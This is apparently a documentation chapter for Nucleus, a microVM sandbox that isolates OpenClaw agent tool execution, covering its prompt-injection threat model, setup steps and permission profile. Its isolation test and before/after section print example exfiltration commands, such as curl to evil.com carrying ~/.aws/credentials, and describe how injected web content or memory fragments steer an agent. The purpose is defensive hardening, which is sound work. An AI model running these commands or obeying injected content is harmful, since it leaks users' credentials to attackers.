Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Hardening OpenClaw with Nucleus

“There is no ‘perfectly secure’ setup.”OpenClaw Security Documentation

We disagree. Security should be architectural, not aspirational.

Status Update: February 2026

OpenAI acquired OpenClaw on February 14, 2026. The project’s future licensing and API stability are uncertain. Nucleus’s value proposition is framework-agnostic isolation — it works with OpenClaw, but also with any agent framework that executes tools (Claude Code, Cursor, Windsurf, custom agents, etc.). If OpenClaw becomes closed-source or OpenAI-proprietary, nucleus remains unaffected.

The Problem: January 2026

OpenClaw (formerly Moltbot/Clawdbot) has become one of the fastest-growing open source projects in history—100K+ GitHub stars in two months. It’s deployed in enterprise environments, managing calendars, sending messages, and automating workflows.

It also requires:

  • Root filesystem access
  • Stored credentials and API keys
  • Browser sessions with authenticated cookies
  • Unrestricted network access

On January 31, 2026, the Moltbook social network for AI agents suffered a critical breach. An unsecured database allowed anyone to hijack any of the 770,000+ agents on the platform, injecting commands directly into their sessions.

This wasn’t a sophisticated attack. It was a configuration oversight in a system designed to be “configured correctly by the operator.”

The Uninhabitable State

Palo Alto Networks identified why OpenClaw’s architecture is fundamentally dangerous:

ElementWhy It’s DangerousOpenClaw Default
Private data accessAgent can read credentials, keys, PIIFull filesystem access
Untrusted contentPrompt injection via web, attachmentsProcessed on host
External communicationExfiltration channelUnrestricted outbound

When all three combine, a single prompt injection can exfiltrate your SSH keys, API tokens, or browser sessions to an attacker-controlled server.

The Fourth Risk: Persistent Memory

OpenClaw’s memory system compounds the danger. Malicious payloads don’t need immediate execution—fragments can accumulate across sessions and combine later. By the time the attack triggers, the injection point is buried in conversation history.

How Nucleus Breaks the Uninhabitable state

Nucleus interposes a Firecracker microVM between the AI agent and tool execution:

┌─────────────────────────────────────────────────────────────────┐
│  OpenClaw Gateway (Host)                                        │
│  ├── Claude/GPT API credentials    ← Never enter sandbox        │
│  ├── User's browser sessions       ← Never enter sandbox        │
│  └── ~/.openclaw/credentials/      ← Never enter sandbox        │
│                                                                  │
│  Tool Request: "read file /etc/passwd"                          │
│         │                                                        │
│         ▼                                                        │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │  nucleus-node                                                ││
│  │  ├── HMAC-SHA256 signature verification                     ││
│  │  ├── Lattice-guard permission check                         ││
│  │  └── Approval token validation                              ││
│  └─────────────────────────────────────────────────────────────┘│
│         │                                                        │
│         ▼                                                        │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │  Firecracker microVM (isolated)                             ││
│  │  ├── Sees only /workspace (mapped directory)                ││
│  │  ├── No access to host filesystem                           ││
│  │  ├── Network namespace: egress allowlist only               ││
│  │  └── Read-only rootfs, ephemeral scratch                    ││
│  └─────────────────────────────────────────────────────────────┘│
│         │                                                        │
│         ▼                                                        │
│  Result: "Permission denied" or sandboxed file contents          │
└─────────────────────────────────────────────────────────────────┘

Uninhabitable state Mitigation

Uninhabitable state ElementNucleus Mitigation
Private data accessVM sees only /workspace, not host filesystem
Untrusted contentProcessed inside VM, cannot escape to host
External communicationNetwork namespace with egress allowlist
Persistent memoryLattice-guard detects uninhabitable state combinations

Integration Guide

Prerequisites

  • Linux host with KVM, or macOS with Lima VM (M3+ for nested virt)
  • OpenClaw gateway running

Step 1: Install Nucleus

# From source
git clone https://github.com/coproduct-opensource/nucleus
cd nucleus
cargo install --path crates/nucleus-node
cargo install --path crates/nucleus-cli

# Setup (generates secrets, configures VM)
nucleus setup
nucleus doctor  # Verify installation

Step 2: Configure OpenClaw Exec Backend

In your OpenClaw configuration (~/.openclaw/config.yaml):

exec:
  backend: nucleus
  nucleus:
    endpoint: "http://127.0.0.1:8080"
    workspace: "/path/to/safe/workspace"
    timeout_seconds: 300

    # Permission profile (see nucleus docs)
    profile: "openclaw-restricted"

Step 3: Define Permission Profile

Create ~/.config/nucleus/profiles/openclaw-restricted.toml:

[filesystem]
# Only allow access to workspace
allowed_paths = ["/workspace"]
denied_paths = ["**/.env", "**/*.pem", "**/*secret*"]

[network]
# Allowlist for OpenClaw's typical integrations
allowed_hosts = [
  "api.openai.com",
  "api.anthropic.com",
  "api.github.com",
  "*.googleapis.com",
]
denied_hosts = ["*"]  # Deny by default

[capabilities]
# No shell execution, no privilege escalation
allow_shell = false
allow_sudo = false
allow_network_bind = false

Step 4: Start Services

# Terminal 1: Start nucleus-node
nucleus-node --config ~/.config/nucleus/config.toml

# Terminal 2: Start OpenClaw gateway (will use nucleus backend)
openclaw gateway start

Step 5: Verify Isolation

Test that the sandbox is working:

# This should fail - /etc/passwd is outside workspace
openclaw exec "cat /etc/passwd"
# Expected: Permission denied

# This should work - workspace access allowed
openclaw exec "ls /workspace"
# Expected: Directory listing

# This should fail - network not in allowlist
openclaw exec "curl http://evil.com/exfil"
# Expected: Network error or timeout

Security Guarantees

GuaranteeMechanism
Filesystem isolationFirecracker VM with mapped /workspace only
Network isolationLinux network namespace, iptables egress rules
Request authenticityHMAC-SHA256 signing of all requests
Approval auditCryptographically chained audit log
Secret protectionCredentials in macOS Keychain, never in VM
** Uninhabitable state detection**Lattice-guard alerts on dangerous combinations

What Nucleus Does NOT Protect Against

Be aware of limitations:

  • Prompt injection itself — Nucleus sandboxes execution, not the LLM
  • Data in workspace — Files explicitly shared are accessible
  • Approved network targets — Allowlisted hosts can still receive exfiltrated data
  • Side-channel attacks — Timing, power analysis not mitigated
  • Malicious workspace files — If you put secrets in workspace, they’re exposed

Nucleus is defense-in-depth, not a silver bullet. It dramatically reduces blast radius but cannot make an unsafe agent safe.

Comparison: Before and After

Before: OpenClaw Default

Attack: Prompt injection via web search result
  → Agent executes: curl http://evil.com/x?key=$(cat ~/.aws/credentials)
  → Result: AWS credentials exfiltrated

Attack: Malicious attachment
  → Agent executes: python malware.py
  → Result: Ransomware on host system

After: With Nucleus

Attack: Prompt injection via web search result
  → Agent requests: curl http://evil.com/x?key=$(cat ~/.aws/credentials)
  → nucleus-node: Network destination not in allowlist
  → nucleus-node: ~/.aws/credentials not in allowed paths
  → Result: Request denied, logged, alert raised

Attack: Malicious attachment
  → Agent requests: python malware.py
  → nucleus-node: Executes in isolated VM
  → VM: No access to host filesystem
  → VM: No network egress to C2 server
  → Result: Malware contained, host unaffected

Framework-Agnostic Integration

While this guide focuses on OpenClaw, nucleus provides the same isolation guarantees for any agent framework that executes tools on a host system:

FrameworkIntegration MethodStatus
OpenClawTypeScript plugin (openclaw-nucleus-plugin)Production
Custom Rust agentsnucleus-sdk crate (Nucleus::intent() API)Production
Any HTTP agentREST API to nucleus-nodeProduction
MCP-compatible agentsMCP tool server (planned)Roadmap

The core principle is the same regardless of framework: tool execution happens inside an isolated Firecracker microVM, and the permission lattice governs what’s allowed.

Further Reading